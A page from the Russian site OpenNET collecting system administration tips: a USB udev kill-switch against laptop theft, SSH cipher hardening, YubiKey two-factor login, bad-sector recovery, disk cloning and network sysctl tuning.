The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

СОВЕТЫ (Краткие заметки, Tips) (базовая разбивка)

   Администратору
Сетевая подсистема, маршрутизация
Ethernet, ARP, привязка MAC адресов.
NAT, трансляция адресов
Policy routing
PPP, PPTP, PPPOE
Wifi, настройка беспроводного доступа
Ограничение трафика
Пакетные фильтры и фаерволы
Пакетные фильтры в Linux: iptables, ipchains
Пакетный фильтр в FreeBSD: ipfw, IP-Filter
Проблемы работы сети
Туннелинг, VPN, VLAN
Сетевые сервисы
DNS
FTP, Bittorrent
INN
Mail, почта
Безопасность и установка ограничений
Борьба со спамом, фильтрация почты
Отправка и пересылка сообщений на уровне пользователя
NFS
Samba
SNMP
Socks proxy
WWW, Apache httpd
Ограничение доступа и ресурсов, безопасность
Оптимизация и тюнинг Apache
Редирект, mod_rewrite
Прокси сервер Squid
ACL, ограничения трафика и пользователей
Система
FreeBSD специфика
Сис. информация, оптимизация и тюнинг FreeBSD
Увеличение безопасности FreeBSD
Установка и апгрейд FreeBSD и приложений.
Linux специфика
Оптимизация и тюнинг в Linux
Увеличение безопасности Linux
Установка и работа с пакетами программ в Linux
OpenBSD
Solaris специфика
Syslog, ведение логов
Диски и файлы
CD-ROM, CD-R, AudioCD:
RAID массивы
Ramdisk, tmpfs
Диагностика и Восстановление после сбоя
Квоты
Монтирование
Резервное копирование
Файловые системы
Загрузка, однопользовательский режим
Кластерные технологии
Поддержка аппаратного обеспечения
Просмотр состояния и мониторинг системы
Установка и синхронизация времени

----* Простое устройство для защиты данных в случае кражи ноутбука (доп. ссылка 1)   [комментарии]
 
Майкл Олтфилт (Michael Altfield) предложил простое и эффективное устройство
для блокирования доступа к конфиденциальным данным в случае кражи ноутбука с
активным пользовательским сеансом. Суть метода в контроле за подключением к
ноутбуку определённого USB-устройства, прикреплённого к владельцу (аналогично в
качестве признака можно использовать достижимость Bluetooth смартфона владельца
или метку RFID).


Во время работы в общественном месте или парке на ноутбуке активируется
специальное правило UDEV, которое контролирует активность подключения к
USB-устройству. В случае отсоединения USB-устройства (когда злоумышленник
выхватил ноутбук) UDEV-правило выполняет скрипт для завершения сеанса, удаления
каталога с конфиденциальными данными, шифрования данных или отмонтирования
шифрованного раздела.

Пример udev-правила для блокировки экрана при извлечении любого USB-устройства:

   sudo vi /etc/udev/rules.d/busKill.rules

   ACTION=="remove", SUBSYSTEM=="usb", RUN+="DISPLAY=:0 xscreensaver-command -lock"

   sudo udevadm control --reload


Для привязки к определённому USB-устройству необходимо узнать его идентификатор
(нужно подключить устройство, запустить udevadm monitor и извлечь устройство):
  
   udevadm monitor --environment --udev

   ACTION=remove
   ID_MODEL="Micromax_A74"
   SUBSYSTEM=usb

Модифицируем правило /etc/udev/rules.d/busKill.rules

   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="DISPLAY=:0 xscreensaver-command -lock"





Как вариант предложено дополнительно использовать магнитный разъединитель
USB-кабеля, подключённый до брелока с ключами шифрования данных. Далее брелок
подсоединяется цепочкой к одежде или руке владельца. При выдёргивании ноутбука
во время работы брелок с ключами шифрования остаётся у владельца, а UDEV-скрипт
экстренно выключает устройство.


   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"

Активировать правило блокировки можно автоматически при подключении
USB-устройства, добавив UDEV-правило с обработчиком ACTION=="bind"

   ACTION=="bind", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="/root/killcord_on.sh"

/root/killcord_on.sh

   cat << EOF | tee /etc/udev/rules.d/busKill.rules
   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"
   EOF
   udevadm control --reload
 
----* Настройка SSH для использования наиболее защищённых алгоритмов шифрования (доп. ссылка 1)   [комментарии]
 
В свете появления сведений об организации АНБ атак, направленных на
получение контроля над SSH-соединениями, подготовлено руководство с
рекомендациями по усилению защищённости SSH. АНБ может получить контроль за
SSH-соединением  в случае использования уязвимых методов шифрования или в
результате захвата приватных ключей. Ниже представлены советы по отключению
потенциально проблемных алгоритмов и усилению защиты.


Обмен ключами.

Применяемые в SSH методы обмена ключей  DH (Diffie-Hellman) и ECDH (Elliptic
Curve Diffie-Hellman) можно считать безопасными. Из 8 поддерживаемых в SSH
протоколов обмена ключами вызывают подозрения три,  основанные на рекомендациях
NIST: ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521. Не
заслуживающими полного доверия также можно считать протоколы, использующие
потенциально проблемный SHA1. Протоколы curve25519-sha256 и diffie-hellman-group-exchange-sha256
 пока не вызывают сомнений в безопасности.

Для использования только заслуживающих доверия протоколов обмена ключами в
/etc/ssh/sshd_config  для сервера следует указать:

    KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

Аналогичные настройки для клиента, в /etc/ssh/ssh_config:

   Host *
      KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

В /etc/ssh/moduli можно указать (или удалить строки с размером ключа, менее 2048):

   ssh-keygen -G /tmp/moduli -b 4096
   ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli


Аутентификация.

В SSH поддерживается четыре алгоритма аутентификации по открытым ключам: DSA,
ECDSA,  Ed25519 и RSA. ECDSA завязан на технологиях NIST и должен быть
отключен. К сожалению, если просто удалить ключ ECDSA, он будет повторно
сгенерирован, поэтому можно воспользоваться обходным путём с создать заведомо
нерабочую символическую ссылку, которая помешает сгенерировать и использовать ключ:

   cd /etc/ssh
   rm ssh_host_ecdsa_key*
   rm ssh_host_key*
   ln -s ssh_host_ecdsa_key ssh_host_ecdsa_key
   ln -s ssh_host_key ssh_host_key

Так как размер ключей DSA  не может превышать 1024, его тоже следует отключить тем же способом:

   cd /etc/ssh
   rm ssh_host_dsa_key*
   ln -s ssh_host_dsa_key ssh_host_dsa_key

Далее, следует позаботиться о RSA, сгенерировав ключ большего размера:

   cd /etc/ssh
   rm ssh_host_rsa_key*
   ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null

Для создания клиентских ключей лучше использовать команды:

   ssh-keygen -t ed25519
   ssh-keygen -t rsa -b 4096


Симметричные шифры.

Из 15 поддерживаемых в SSH алгоритмов симметричного шифрования, используемых
для организации защиты установленного канала связи, безопасными можно считать
chacha20-poly1305, aes*-ctr и aes*-gcm. Шифры 3des-cbc и arcfour потенциально
уязвимы в силу использования DES и RC4, cast128-cbc применяет слишком короткий
размер блока (64 бит).

В итоге, в /etc/ssh/sshd_config рекомендуется добавить:

   Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

В /etc/ssh/ssh_config:

   Host *
      Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

Код аутентичности сообщения (MAC).

Для шифров в режиме  CTR для гарантирования  целостности передаваемых блоков
доверия заслуживает только метод Encrypt-then-MAC ("*-etm", MAC добавляется  к
уже зашифрованному блоку). Методы MAC-then-encrypt и Encrypt-and-MAC
потенциально подвержены атакам. Из 18 доступных в SSH алгоритмов MAC  сразу
следует отбросить основанные на хэшах  MD5 и SHA1, не стойких к выявлению
коллизий, а также алгоритмы использующие размеры ключей менее 128 бит и размеры
тегов менее 256 бит. В итоге, наиболее безопасными MAC  можно считать
hmac-sha2-512-etm и hmac-sha2-256-etm.

В /etc/ssh/sshd_config:

   MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com

В /etc/ssh/ssh_config:

   # Для GitHub в качестве исключения добавляем mac-sha2-512, так как он не поддерживает Encrypt-then-MAC.
   Host github.com
       MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512

   Host *
      MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com


Защита от утечки ключей.

Наиболее простым способом получения контроля за SSH-соединением является захват
ключей на стороне клиента или сервера. Рекомендации сводятся к соблюдению
типовых правил поддержания безопасности системы: оперативная установка
обновлений, установка программ только из надёжных источников, установка только
действительно необходимых программ и сервисов, использование программ для
которых доступны исходные тексты, включение дополнительных механизмов защиты
(Grsecurity, сборка с флагом -fstack-protector).

Для защиты ключей следует выбрать надёжный пароль доступа к клиентским файлам
ключей. При формировании ключа для увеличения числа итераций хэширования можно
использовать опцию "ssh-keygen -o -a число", что  усложнит подбор пароля. Также
можно сохранить ключи только на внешнем носителе, подключая его только во время
соединения по SSH.

Защита от анализа транзитного трафика.

SSH-сервер можно настроить в виде скрытого сервиса Tor, что скроет IP, а также
добавит дополнительный слой шифрования и аутентификации.

Для приема соединений только через скрытый сервис Tor можно использовать следующие настройки:

В /etc/ssh/sshd_config (для приема соединений из LAN следует вместо привязки к
127.0.0.1 использовать для ограничения доступа межетевой экран):

   ListenAddress 127.0.0.1:22

В /etc/tor/torrc добавим:

   HiddenServiceDir /var/lib/tor/hidden_service/ssh
   HiddenServicePort 22 127.0.0.1:22

Имя скрытого хоста для подключения можно найти в файле /var/lib/tor/hidden_service/ssh/hostname. 

Для настройки подключения клиента к скрытому сервису Tor в  /etc/ssh/ssh_config можно добавить:

   Host *.onion
       ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050
 
----* Двухфакторная аутентификация SSH с использованием YubiKey (доп. ссылка 1)   Автор: Dvenum  [комментарии]
 
Все началось с того, что я приобрел YubiKey и захотел использовать его для
двухфакторной аутентификации SSH. Я также хотел иметь возможность восстановить
доступ к серверу на случай, если потеряю ключ. Информация о том, как это
сделать, слишком разрознена, поэтому я написал собственное руководство.

Вещи, которые необходимо знать:

* HOTP -- это алгоритм генерации одноразового пароля на основе счетчика.
Счетчик меняется каждый раз, когда генерируется новый пароль.
* TOTP -- алгоритм генерации пароля в зависимости от таймера, регулярно
генерируется новый пароль. (30 секунд в этом случае).

В результате, вы входите через SSH, видите запрос пароля и вводите пароль,
предоставленный OTP, системой одноразовых паролей (one-time password) от YubiKey.

Для аварийного доступа я настроил возможность аутентификации с помощью
Android-приложения Google Authenticator. Я настраивал все на Debian Wheezy
сервере, но это должно работать и для других похожих систем.

Вам необходимо установить libpam-oath на сервере (>=1.12.4-1 или вы не сможете
использовать аварийный вход).
На вашем компьютере необходимо установить yubikey-personalization-gui, oathtool
и libmime-base32-perl.

Когда вы установите необходимые программы и библиотеки, то прежде, чем
приступать к настройке, убедитесь, что у вас открыт дополнительный терминал с
правами root, чтобы можно было исправить возможные ошибки.

Ключ ниже указан просто для примера, вам необходимо подставить свой.

Настройка YubiKey.

Для начала, используем yubikey-personalisation-gui, чтобы настроить YubiKey и
сгенерировать ключ. Укажите OATH-HOTP режим, отключите token идентификацию и
скопируйте ключ куда-нибудь, он понадобится для настройки сервера. Не забудьте
сохранить настройки в YubiKey.

Создайте файл /etc/users.oath на сервере с содержанием:

   HOTP robin - 8a54ac40689f0bb99f306fdf186b0ef6bd153429

где robin это имя пользователя, использующего ключ, а большая шестнадцатиричная
строка это ключ без пробелов, который вы сгенерировали ранее.

Установите возможность читать файл только для root:

   # chmod 600 /etc/users.oath

Измените /etc/pam.d/sshd таким образом, чтобы строка

   @include common-auth

была раскомментирована, а после нее добавьте следующее:

   auth required pam_unix.so nullok_secure

   # OATH OTP
   auth required pam_oath.so usersfile=/etc/users.oath window=20

window=20 указывает, как много раз может быть нажата кнопка на YubiKey перед
входом. Иными словами, как далеко в последовательности OTP модуль будет искать совпадение.

Измените sshd_config, чтобы он разрешал вызов-ответ (Challenge-Response) аутентификацию.

   sed -i.bak -E -e 's/(ChallengeResponseAuthentication) no/\\1 yes/' /etc/ssh/sshd_config

Вы можете проверить последовательность следующим образом:

   $ oathtool -w10 8a54ac40689f0bb99f306fdf186b0ef6bd153429
   333518
   886962
   ...

Если вы нажмете кнопку на YubiKey несколько раз, вы дожны увидеть точно такую
же последовательность.

Перезапустите ssh демон и все должно работать. Вам нужно ввести пароль, вы
нажимаете на кнопку YubiKey.

Настройка Google Authenticator

Это будет аварийным входом на случай, если вы потеряете ключ. Используем здесь
повременной счетчик TOTP вместо счетчика на основе последовательности.

Для начала сгенерируйте случайный десятибайтовый ключ (20 символов в шестнадцатиричном виде):

   $ head -c 1024 /dev/urandom | openssl sha1 | tail -c 21 
   2c2d309a7a92e117df5a

Добавьте строку в /etc/users.oath:

   HOTP/T30 robin - 2c2d309a7a92e117df5a

T30 означает, что используется повременной алгоритм с 30-и секундной ротацией.

Перед тем, как добавить этот же ключ в android приложение, мы должны представить его в base32 виде:

   $ perl -e 'use MIME::Base32 qw( RFC ); print  lc(MIME::Base32::encode(pack("H*","2c2d309a7a92e117df5a")))."\\n";'
   fqwtbgt2slqrpx22

Эта команда на perl из шестнадцатиричного ключа сначала получает двоичный,
который потом преобразовывает в base32.
Проверить, что все работает, можно так:

   $ oathtool --totp -w10 2c2d309a7a92e117df5a
   125557
   804612
   ...

Последовательность должна совпадать с той, которую отдает android приложение.
Поскольку алгоритм генерации основывается на времени, то разница времени на
устройствах должна не превышать пары секунд.

Теперь вы можете войти на сервер через повременной ключ, сгенерированный
приложением или с помощью пароля, сгенерированным нажатием на кнопку YubiKey.

Примечания

Когда вы залогиньтесь, файл users.oath будет изменен, в него будет записано
новое значение счетчика и время. Убедитесь, что файл не открыт в текстовом редакторе.

Если кто-нибудь нажмет кнопку YubiKey много раз (больше двадцати для этого
примера), то ключ рассинхронизируется с сервером и вам придется сбросить его,
сгенерировав новый и заменив старый в users.oath.

Есть еще libpam-google-authenticator, который ведет себя похожим образом, но
недоступен для Debian Wheezy.

Если у вас много сервереров и вы хотите использовать один YubiKey для всех, то
вам потребуется что-нибудь вроде центрального сервера аутентификации, чтобы
избежать рассинхронизации ключей.
 
----* Поиск "проблемных" бинарников в системе   Автор: Карбофос  [комментарии]
 
Если в системе по каким-то причинам есть бинарные файлы, а нет внешних
библиотек к ним, то этот скрипт поможет достаточно просто найти такие файлы:

   #!/bin/bash
   # скрипт для поиска проблемных файлов
   # список директорий для поиска
   directory=("/usr/bin/" "/usr/sbin/" "/bin/" "/usr/lib/" "/usr/lib64/")
   toreplace="=> not found"

   # Loop through our array.
   for x in ${directory[@]}
   do
     # Find all Files
     # for i in $(find $x -type f -executable)
     for i in $(find $x -type f)
     do
     # если ldd выдает ошибку "not found".. 
     n=`ldd "$i" | grep found 2>/dev/null`
     if [ -n "$n" ]; then
     #  echo $i " not found lib: " $n
     #  с небольшой корректировкой, выкидываем "=> not found"
        echo "$i  not found lib(s): $n" | sed "s/$toreplace//g"
     fi
     done
   done
 
----* Доступ к файлам виртуальных машин VMware ESX из Fedora Linux (доп. ссылка 1)   Автор: Andrey Markelov  [обсудить]
 
Richard W.M. Jones в своем блоге опубликовал интересный пост
(http://rwmj.wordpress.com/2010/01/06/examine-vmware-esx-with-libguestfs/) о
работе при помощи утилит libguestfs с образами VMware ESX4. Немного дополнив,
напишу, в чем суть.

Во-первых нам понадобятся пакеты fuse-sshfs и guestfish. Первый позволяет
монтировать при помощи FUSE удаленную файловую систему по SSH FTP, а второй
установит в систему интерактивную командную оболочку, из которой можно получать
доступ к образам дисков виртуальных машин, в том числе и vmdk. Естественно, в
системе должны присутствовать стандартные компоненты виртуализации Fedora, в
частности, работающий демон libvirtd.

Для начала проверяем, какие присутствуют на хосте ESX виртуальные машины:

   $ virsh -c esx://192.168.1.12?no_verify=1 list --all
   Enter username for 192.168.1.12 [root]:
   Enter root password for 192.168.1.12:
   ID Имя Статус
   ----------------------------------
   208 www выполнение
   224 mail выполнение
   - 2RHEL5_DS отключить
   - 2W2003_DC отключить
   - RHEL5_IPA отключить
   - RHEL5_Satellite53 отключить
   - RHEL5_Server1 отключить
   - RHEL5_Station отключить
   - RHEL5_Station2 отключить
   - RHEL5_Zimbra отключить

Далее смонтируем через FUSE соответствующую директорию файловой системы vmfs:

   $ mkdir esx
   $ sshfs root@192.168.1.12:/vmfs/volumes esx
   root@192.168.1.12's password:
   $ cd esx/
   $ ls
   4ac343f6-500e2828-d805-0022640793d2 LocalStorage1

Естественно, мы ничего нового по сравнению с тем, что нам покажет vCenter
client, не увидели. Далее переходим в директорию с нужной нам виртуальной машиной:

   $ cd LocalStorage1/RHEL5_IPA/
   $ ls
   RHEL5_IPA-flat.vmdk RHEL5_IPA.vmdk RHEL5_IPA.vmx vmware.log
   RHEL5_IPA.nvram RHEL5_IPA.vmsd RHEL5_IPA.vmxf

При помощи новой утилиты virt-list-filesystems (в версии libguestfs репозитория
Fedora 12 пока ее нет, зато есть в Rawhide) смотрим какие разделы доступны
внутри образа:

   $ virt-list-filesystems -al RHEL5_IPA-flat.vmdk
   /dev/sda1 ext3
   /dev/vol0/home ext3
   /dev/vol0/root ext3
   /dev/sda3 swap

И, наконец, запускаем интерактивную командную оболочку:

   $ guestfish --ro -a RHEL5_IPA-flat.vmdk -m /dev/vol0/root

   Welcome to guestfish, the libguestfs filesystem interactive shell for
   editing virtual machine filesystems.

   Type: 'help' for help with commands
   'quit' to quit the shell

   > ll /
   total 192
   drwxr-xr-x. 22 root root 4096 Oct 24 07:47 .
   dr-xr-xr-x 29 root root 0 Jan 8 12:59 ..
   drwxr-xr-x. 2 root root 4096 Oct 7 15:07 bin
   drwxr-xr-x. 2 root root 4096 Oct 7 13:45 boot
   drwxr-xr-x. 4 root root 4096 Oct 7 13:45 dev
   drwxr-xr-x. 93 root root 12288 Oct 24 07:47 etc
   drwxr-xr-x. 2 root root 4096 Oct 7 13:45 home
   ....

Ну, а дальше man guestfish и help для списка команд оболочки. Для виртуальных
машин с включенным SELinux крайне желательно использовать ключ --selinux, иначе
при попытке записи файлов вы можете создать при монтировании образа r/w файлы
без меток SELinux.
 
----* Быстрый способ учета трафика на сетевых интерфейсах (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
 
Дано:
Почтовый сервер на базе Ubuntu 8.10
Четыре сетевых интерфейса

Необходимо:
Считать трафик на каждом интерфейсе, вести статистику.

Решение:
vnstat (http://humdi.net/vnstat/) - маленький консольный пакет, который считает трафик 
на указанных интерфейсах и не загружает систему. Показывает статистику по часам, дням неделям и тд.
Не требует для своей работы привилегий суперпользователя, поддерживает Linux,
*BSD и Darwin/MacOS X.
Для доступа к статистике дополнительно доступен web-интерфейс.

Устанавливаем vnstat:

   #apt-get install vnstat

Инициализируем базу данных для каждого необходимого интерфейса:

   #vnstat -u -i eth0
   #vnstat -u -i eth1
   #vnstat -u -i eth2

Далее необходимо сказать vnstat запустить мониторинг интерфейса.
Это можно сделать путем ifdown/ifup для каждого интерфейса,
либо, если нет желания 
разрывать соединения выполнить для каждого:

   #IFACE=eth${i}
   #export IFACE
   #/bin/sh -x /etc/network/if-up.d/vnstat

где ${i} порядковый номер интерфейса.

Все, мониторинг готов, теперь по прошествии нескольких минут можно смотреть статистику

   #vnstat -q 
 
----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
 
Создаем снапшот test1 раздела /home

   mount -v -u -o snapshot /home/snapshot/test1 /home

или другой метод:

   mksnap_ffs /home /home/snapshot/test1

Привязываем снапшот к устройству /dev/md1:

   mdconfig -a -t vnode -f /home/snapshot/test1 -u 1

При необходимости снапшот можно смонтировать и посмотреть его содержимое:

   mount -o ro /dev/md1 /mnt
   ....
   umount /mnt

Копируем содержимое раздела на второй диск:

   dd if=/dev/md1 of=/dev/ad4s1f bs=16k

Отключаем снапшот

   mdconfig -d -u 1

Выполняем fsck на новом разделе:

   fsck -f /dev/ad4s1f
 
----* Как избавиться от нечитаемых секторов на диске   [комментарии]
 
В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:

   smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
   smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors

SMART тестирование подтвердило подозрения:

   Запускаем фоновый тест диска, не мешающий основной работе:
      smartctl -t long /dev/ad5
   Ждем завершения периодически просматривая статус:
      smartctl -l selftest /dev/ad5
   В итоге смотрим содержимое лога, в самом конце вывода:
      smartctl -a /dev/ad5
   Имеем:
   # 1  Extended offline  Completed: read failure  90% 2916 10373954

Выявляем полный список сбойных секторов, путем чтения всех данных с диска:

   dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync

В один прекрасный момент появятся надписи вида:

   dd: /dev/ad5: Input/output error
   10373954+0 records in
   10373954+0 records out
   5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)

В системном логе увидим:

   kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
   kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
   ....
   kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
   kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113

Проверяем, каждый участок еще раз:

   dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync

Смотрим какой файл в ФС подпадает под этот блок.

Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):

   fdisk -s /dev/ad5

   /dev/ad5: 775221 cyl 16 hd 63 sec
   Part        Start        Size Type Flags
   1:          63   398444067 0xa5 0x80
   2:   398444130   382973535 0xa5 0x80

10373954 - 63 = 10373891

   disklabel /dev/ad5s1

   # /dev/ad5s1:
   8 partitions:
   #        size   offset    fstype   [fsize bsize bps/cpg]
     a:  2097152        0    4.2BSD     2048 16384 28552 
     b:  4194304  2097152      swap                    
     c: 398444067        0    unused    0  0 # "raw" part
     d:  2097152  6291456    4.2BSD     2048 16384 28552 
     e: 10485760  8388608    4.2BSD     2048 16384 28552 
     f: 104857600 18874368    4.2BSD     2048 16384 28552 
     g: 104857600 123731968    4.2BSD     2048 16384 28552 
     h: 162127234 228589568    4.2BSD     2048 16384 28552 

Видим, что 10373891 приходится на раздел /dev/ad5s1e
Расчитываем смещение относительно начала раздела:
10373891 - 8388608 = 1985283

Находим иноду, которой принадлежит заданный блок:
   fsdb -r /dev/ad5s1e
   findblk 1985283

повторяем для каждого сбойного сектора 
(для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)

Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
ремапинга на диске.

    sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
    dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
    sysctl kern.geom.debugflags=0

Если после записи сектор начал читаться - все ok, 

если нет - резервная область на диске уже заполнена, пробуем запретить
обращещние окружающих секторов в ФС:

   man badsect

  /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
  badsect /usr/BAD 1985283
  fsck -y /dev/ad5s1e

Полезные порты:
   /usr/ports/sysutils/recoverdm 
   /usr/ports/sysutils/diskcheckd
 
----* Почему на нагруженных серверах лучше использовать SCSI диски, а не IDE.   [комментарии]
 
1. Качество исполнения, запас прочности и надежность накопителей со SCSI
интерфейсом как правило выше, чем у IDE.

2. Два подключенных к одному каналу контроллера IDE накопителя, не могут
одновременно передавать данные по шине.

3. SCSI показывают значительно лучшую производительность в загруженной
многозадачной среде, при обилии разрозненных параллельных запросов за
счет более оптимального использования шины передачи данных. (конек IDE -
линейное чтение, сильная сторона SCSI - случайный доступ).

Поясняю: Специфика IDE такова, что запросы могут передаваться по одной
шине последовательно (одна труба передачи данных, однопоточный режим).
Допустим, если 100  процессов обращаются к данным на диске, запросы в
рамках одного канала контроллера будут обрабатываться один за другим, каждый
следующий после полного выполнения  предыдущего (связка: выдача
команды - получение данных).

При  использовании SCSI, допускается перекрытие запросов (организуется
очередь команд), ответы при этом  будут получены распараллеленно
(асинхронная передача), при этом устройство
заведомо зная подробности  по командам находящимся в очереди, производит
оптимизацию самостоятельно - минимизируя движение головок.
 
----* expect для автоматизации операций требующих ручного ввода   [комментарии]
 
#!/usr/bin/expect -f # Забор файла по FTP
spawn ftp ftp.test.ru
expect  "Name*:" { send "ftp\n"}
expect  "Password:" { send "ftp@\n"}
expect "ftp>" {send "bin\n"}
expect "ftp>" {send "prompt no\n"}
expect "ftp>" {send "cd /pub/store\n"}
expect "ftp>" {send "get arc.tar.gz\n"}
expect "ftp>" {send "exit\n"}

#!/usr/bin/expect -f # Выполнение операции используя telnet
spawn telnet cisco.test.ru
expect  "login:" { send "adm\n"}
expect  "Password:" { send "пароль\n"}
expect "#" {send "show users\n"}
expect "#" {send "exit\n"}
 

   Сетевая подсистема, маршрутизация
Ethernet, ARP, привязка MAC адресов.
NAT, трансляция адресов
Policy routing
PPP, PPTP, PPPOE
Wifi, настройка беспроводного доступа
Ограничение трафика
Пакетные фильтры и фаерволы
Пакетные фильтры в Linux: iptables, ipchains
Пакетный фильтр в FreeBSD: ipfw, IP-Filter
Проблемы работы сети
Туннелинг, VPN, VLAN

----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
 
От переводчика (@zersh).

Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
Для понимания некоторых моментов использовалась статья. Принимаются любые
замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
конструктивную критику)
Лицензия: BSD-3

Введение

Иногда люди пытаются найти некие универсальные значения параметров sysctl
(https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
которых во всех случаях позволит добиться и высокой пропускной способности, и
низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
настроены. Важно понимать, что изменение заданных по умолчанию настроек может
ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).

Это краткое руководство, в котором приведены часто используемые параметры
sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
руководством по сетевому стеку Linux
(https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
 многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).


Обзор сетевых очередей Linux





Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux


Входящие пакеты (Ingress)

1. Пакеты прибывают в NIC (сетевой адаптер)

2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
sequence)` и принимает решение отбросить пакет или продолжить обработку.

3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.

4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
(https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
таймаута  `rx-usecs` или `rx-frames`

5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
пакета в памяти `hard IRQ`

6. CPU запустит `IRQ handler`, который запускает код драйвера

7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 

8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`

9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета

10. Linux также выделяет память для `sk_buff`

11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
(setmacheader), удаляет ethernet

12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)

13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход

14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
`netdev_max_backlog`, алгоритм которого определяется `default_qdisc`

15. Вызывает `ip_rcv` и пакеты обрабатываются в IP

16. Вызывает netfilter (`PREROUTING`)

17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)

18. Если локально, вызывает netfilter (`LOCAL_IN`)

19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)

20. Находит нужный сокет

21. Переходит на конечный автомат tcp (finite state machine).

22. Поставит пакет в входящий буфер, размер которого определяется правилами
`tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
 буфер приёма (receive)

23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)

24. Приложение просыпается и читает данные

Исходящие пакеты (Egress)

1. Приложение отправляет сообщение (`sendmsg` или другие)

2. TCP-стек выделяет память для skb_buff

3. Помещает skb в сокет буфера, размером `tcp_wmem`

4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)

5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
`tcp_transmit_skb`)

6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)

7. Вызывает действие выходного маршрута (Calls output route action)

8. Вызывает netfilter (`POST_ROUTING`)

9. Фрагментирует пакет (`ip_output`)

10. Вызывает функции отправки L2 (`dev_queue_xmit`)

11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`

12. Код драйвера помещает пакеты в `ring buffer tx`

13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`

14. Реактивирует аппаратное прерывание (IRQ) в NIC

15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA

16. NIC получит пакеты (через DMA) из RAM для передачи

17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении

18. Драйвер обработает это прерывание IRQ (выключает)

19. И планирует (`soft IRQ`) NAPI poll system 

20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ


Для отслеживания обработки событий, связанных с выполнением сетевой операции,
можно использовать команду:

